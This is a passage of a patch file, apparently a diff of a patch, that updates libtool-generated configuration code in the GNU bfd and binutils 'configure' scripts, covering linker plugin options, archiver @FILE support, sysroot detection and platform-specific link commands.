+@@ -10248,7 +10899,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -1307,16 +1315,16 @@ index 0340ed541b5..2012656b3b7 100755
hardcode_into_libs=yes
;;
-@@ -11728,7 +12383,7 @@ else
+@@ -11044,7 +11695,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11731 "configure"
+-#line 11047 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11772,10 +12427,10 @@ else
+@@ -11088,10 +11739,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -1329,16 +1337,16 @@ index 0340ed541b5..2012656b3b7 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11834,7 +12489,7 @@ else
+@@ -11150,7 +11801,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11837 "configure"
+-#line 11153 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11878,10 +12533,10 @@ else
+@@ -11194,10 +11845,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -1351,16 +1359,16 @@ index 0340ed541b5..2012656b3b7 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -14578,7 +15233,7 @@ SHARED_LDFLAGS=
+@@ -13114,7 +13765,7 @@ SHARED_LDFLAGS=
if test "$enable_shared" = "yes"; then
x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
if test -n "$x"; then
- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
fi
+ fi
- case "${host}" in
-@@ -17197,13 +17852,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -15762,13 +16413,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -1381,7 +1389,7 @@ index 0340ed541b5..2012656b3b7 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -17218,14 +17880,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -15783,14 +16441,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -1400,7 +1408,7 @@ index 0340ed541b5..2012656b3b7 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -17258,12 +17923,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -15823,12 +16484,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -1414,7 +1422,7 @@ index 0340ed541b5..2012656b3b7 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -17318,8 +17983,13 @@ reload_flag \
+@@ -15883,8 +16544,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -1428,7 +1436,7 @@ index 0340ed541b5..2012656b3b7 100755
STRIP \
RANLIB \
CC \
-@@ -17329,12 +17999,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -15894,12 +16560,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -1444,7 +1452,7 @@ index 0340ed541b5..2012656b3b7 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -17350,7 +18022,6 @@ no_undefined_flag \
+@@ -15915,7 +16583,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -1452,7 +1460,7 @@ index 0340ed541b5..2012656b3b7 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -17386,6 +18057,7 @@ module_cmds \
+@@ -15951,6 +16618,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -1460,7 +1468,7 @@ index 0340ed541b5..2012656b3b7 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -18174,7 +18846,8 @@ $as_echo X"$file" |
+@@ -16720,7 +17388,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -1470,7 +1478,7 @@ index 0340ed541b5..2012656b3b7 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -18277,19 +18950,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -16823,19 +17492,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -1514,7 +1522,7 @@ index 0340ed541b5..2012656b3b7 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -18319,6 +19015,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -16865,6 +17557,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -1527,7 +1535,7 @@ index 0340ed541b5..2012656b3b7 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -18328,6 +19030,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -16874,6 +17572,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -1537,7 +1545,7 @@ index 0340ed541b5..2012656b3b7 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -18442,12 +19147,12 @@ with_gcc=$GCC
+@@ -16988,12 +17689,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -1553,7 +1561,7 @@ index 0340ed541b5..2012656b3b7 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -18534,9 +19239,6 @@ inherit_rpath=$inherit_rpath
+@@ -17080,9 +17781,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -1563,7 +1571,7 @@ index 0340ed541b5..2012656b3b7 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -18552,6 +19254,9 @@ include_expsyms=$lt_include_expsyms
+@@ -17098,6 +17796,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -1573,7 +1581,7 @@ index 0340ed541b5..2012656b3b7 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -18584,210 +19289,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -17130,210 +17831,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -1948,23 +1956,23 @@ index 0340ed541b5..2012656b3b7 100755
chmod +x "$ofile"
diff --git a/bfd/configure.ac b/bfd/configure.ac
-index 8e86f8399ce..e8700c9d4d2 100644
+index 07a75ed1626..288374c504c 100644
--- a/bfd/configure.ac
+++ b/bfd/configure.ac
-@@ -314,7 +314,7 @@ changequote(,)dnl
+@@ -304,7 +304,7 @@ changequote(,)dnl
x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
changequote([,])dnl
if test -n "$x"; then
- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
fi
+ fi
- case "${host}" in
diff --git a/binutils/configure b/binutils/configure
-index 89c99abfeba..d3289a5efcd 100755
+index bf6461dab1e..8e6f6d30b4d 100755
--- a/binutils/configure
+++ b/binutils/configure
-@@ -692,8 +692,11 @@ OTOOL
+@@ -696,8 +696,11 @@ OTOOL
LIPO
NMEDIT
DSYMUTIL
@@ -1976,7 +1984,7 @@ index 89c99abfeba..d3289a5efcd 100755
OBJDUMP
LN_S
NM
-@@ -810,6 +813,7 @@ enable_static
+@@ -814,6 +817,7 @@ enable_static
with_pic
enable_fast_install
with_gnu_ld
@@ -1984,7 +1992,7 @@ index 89c99abfeba..d3289a5efcd 100755
enable_libtool_lock
enable_plugins
enable_largefile
-@@ -1490,6 +1494,8 @@ Optional Packages:
+@@ -1509,6 +1513,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -1993,7 +2001,7 @@ index 89c99abfeba..d3289a5efcd 100755
--with-debuginfod Enable debuginfo lookups with debuginfod
(auto/yes/no)
--with-system-zlib use installed libz
-@@ -5467,8 +5473,8 @@ esac
+@@ -4844,8 +4850,8 @@ esac
@@ -2004,7 +2012,7 @@ index 89c99abfeba..d3289a5efcd 100755
-@@ -5508,7 +5514,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -4885,7 +4891,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -2013,7 +2021,7 @@ index 89c99abfeba..d3289a5efcd 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6194,8 +6200,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -5571,8 +5577,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -2024,7 +2032,7 @@ index 89c99abfeba..d3289a5efcd 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6244,6 +6250,80 @@ esac
+@@ -5621,6 +5627,80 @@ esac
@@ -2105,7 +2113,7 @@ index 89c99abfeba..d3289a5efcd 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6260,6 +6340,11 @@ case $reload_flag in
+@@ -5637,6 +5717,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -2117,7 +2125,7 @@ index 89c99abfeba..d3289a5efcd 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6428,7 +6513,8 @@ mingw* | pw32*)
+@@ -5805,7 +5890,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -2127,7 +2135,7 @@ index 89c99abfeba..d3289a5efcd 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6582,6 +6668,21 @@ esac
+@@ -5959,6 +6045,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -2149,7 +2157,7 @@ index 89c99abfeba..d3289a5efcd 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6597,9 +6698,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5974,6 +6075,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -2304,6 +2312,12 @@ index 89c99abfeba..d3289a5efcd 100755
+
+
+
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5988,8 +6240,10 @@ for plugin in $plugin_names; do
+ done
+
if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
@@ -2314,7 +2328,7 @@ index 89c99abfeba..d3289a5efcd 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6615,7 +6869,7 @@ do
+@@ -6005,7 +6259,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -2323,7 +2337,7 @@ index 89c99abfeba..d3289a5efcd 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6635,11 +6889,15 @@ $as_echo "no" >&6; }
+@@ -6025,11 +6279,15 @@ $as_echo "no" >&6; }
fi
@@ -2342,7 +2356,7 @@ index 89c99abfeba..d3289a5efcd 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6655,7 +6913,7 @@ do
+@@ -6045,7 +6303,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -2351,7 +2365,7 @@ index 89c99abfeba..d3289a5efcd 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6674,6 +6932,10 @@ else
+@@ -6064,6 +6322,10 @@ else
$as_echo "no" >&6; }
fi
@@ -2362,7 +2376,7 @@ index 89c99abfeba..d3289a5efcd 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6685,12 +6947,10 @@ ac_tool_warned=yes ;;
+@@ -6075,29 +6337,81 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -2371,16 +2385,40 @@ index 89c99abfeba..d3289a5efcd 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-
-
-
-@@ -6702,6 +6962,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
++
++
++
++
++
++
++
++
++
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -2393,7 +2431,7 @@ index 89c99abfeba..d3289a5efcd 100755
+int
+main ()
+{
-+
+
+ ;
+ return 0;
+}
@@ -2419,30 +2457,23 @@ index 89c99abfeba..d3289a5efcd 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-+
+
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
+
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
+
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -7036,8 +7354,8 @@ esac
+
+
+
+@@ -6444,8 +6758,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -2453,7 +2484,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -7073,6 +7391,7 @@ for ac_symprfx in "" "_"; do
+@@ -6481,6 +6795,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -2461,7 +2492,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -7114,6 +7433,18 @@ _LT_EOF
+@@ -6522,6 +6837,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -2480,7 +2511,7 @@ index 89c99abfeba..d3289a5efcd 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -7125,7 +7456,7 @@ _LT_EOF
+@@ -6533,7 +6860,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -2489,7 +2520,7 @@ index 89c99abfeba..d3289a5efcd 100755
const char *name;
void *address;
}
-@@ -7151,8 +7482,8 @@ static const void *lt_preloaded_setup() {
+@@ -6559,8 +6886,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -2500,7 +2531,7 @@ index 89c99abfeba..d3289a5efcd 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7162,8 +7493,8 @@ _LT_EOF
+@@ -6570,8 +6897,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -2511,7 +2542,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7200,6 +7531,21 @@ else
+@@ -6608,6 +6935,19 @@ else
$as_echo "ok" >&6; }
fi
@@ -2528,17 +2559,17 @@ index 89c99abfeba..d3289a5efcd 100755
+
+
+
-+
-+
-@@ -7216,6 +7562,40 @@ fi
+@@ -6624,6 +6964,42 @@ fi
+
+
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
+$as_echo_n "checking for sysroot... " >&6; }
+
@@ -2574,7 +2605,7 @@ index 89c99abfeba..d3289a5efcd 100755
-@@ -7427,6 +7807,123 @@ esac
+@@ -6835,6 +7211,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -2698,7 +2729,7 @@ index 89c99abfeba..d3289a5efcd 100755
case $host_os in
rhapsody* | darwin*)
-@@ -7990,6 +8487,8 @@ _LT_EOF
+@@ -7398,6 +7891,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -2707,26 +2738,7 @@ index 89c99abfeba..d3289a5efcd 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -8185,7 +8684,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8274,7 +8774,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8572,8 +9072,6 @@ fi
+@@ -7980,8 +8476,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -2735,7 +2747,7 @@ index 89c99abfeba..d3289a5efcd 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8739,6 +9237,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8147,6 +8641,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -2748,7 +2760,7 @@ index 89c99abfeba..d3289a5efcd 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8801,7 +9305,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8209,7 +8709,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -2757,7 +2769,7 @@ index 89c99abfeba..d3289a5efcd 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -8858,13 +9362,17 @@ case $host_os in
+@@ -8266,13 +8766,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -2781,7 +2793,7 @@ index 89c99abfeba..d3289a5efcd 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8925,6 +9433,11 @@ fi
+@@ -8333,6 +8837,11 @@ fi
@@ -2793,7 +2805,7 @@ index 89c99abfeba..d3289a5efcd 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9275,7 +9788,8 @@ _LT_EOF
+@@ -8683,7 +9192,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -2803,7 +2815,7 @@ index 89c99abfeba..d3289a5efcd 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9374,12 +9888,12 @@ _LT_EOF
+@@ -8782,12 +9292,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -2818,7 +2830,7 @@ index 89c99abfeba..d3289a5efcd 100755
fi
;;
esac
-@@ -9393,8 +9907,8 @@ _LT_EOF
+@@ -8801,8 +9311,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -2829,7 +2841,7 @@ index 89c99abfeba..d3289a5efcd 100755
fi
;;
-@@ -9412,8 +9926,8 @@ _LT_EOF
+@@ -8820,8 +9330,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -2840,7 +2852,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
ld_shlibs=no
fi
-@@ -9459,8 +9973,8 @@ _LT_EOF
+@@ -8867,8 +9377,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -2851,7 +2863,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
ld_shlibs=no
fi
-@@ -9590,7 +10104,13 @@ _LT_EOF
+@@ -8998,7 +9508,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -2866,7 +2878,7 @@ index 89c99abfeba..d3289a5efcd 100755
/* end confdefs.h. */
int
-@@ -9603,22 +10123,29 @@ main ()
+@@ -9011,22 +9527,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -2909,7 +2921,7 @@ index 89c99abfeba..d3289a5efcd 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9630,7 +10157,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9038,7 +9561,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -2924,7 +2936,7 @@ index 89c99abfeba..d3289a5efcd 100755
/* end confdefs.h. */
int
-@@ -9643,22 +10176,29 @@ main ()
+@@ -9051,22 +9580,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -2967,7 +2979,7 @@ index 89c99abfeba..d3289a5efcd 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9703,20 +10243,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9111,20 +9647,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -3045,7 +3057,7 @@ index 89c99abfeba..d3289a5efcd 100755
;;
darwin* | rhapsody*)
-@@ -9777,7 +10360,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9185,7 +9764,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -3054,7 +3066,7 @@ index 89c99abfeba..d3289a5efcd 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9785,7 +10368,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9193,7 +9772,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -3063,7 +3075,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
